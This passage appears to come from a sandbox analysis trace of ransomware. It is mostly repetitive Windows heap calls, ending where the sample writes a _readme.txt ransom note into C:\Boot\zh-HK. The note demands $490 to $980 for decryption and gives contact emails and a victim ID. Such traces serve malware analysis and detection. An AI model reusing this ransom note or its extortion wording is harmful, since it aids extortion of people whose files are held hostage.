hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.235] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.235] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.236] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.236] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.237] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.238] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.238] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.239] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.239] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.240] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.240] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.240] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.240] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.240] PathFindFileNameW (pszPath="") returned="" [0117.240] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.241] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.241] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.241] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.241] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.241] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.241] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.241] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.241] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0117.241] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.241] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0117.242] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.242] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.242] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that 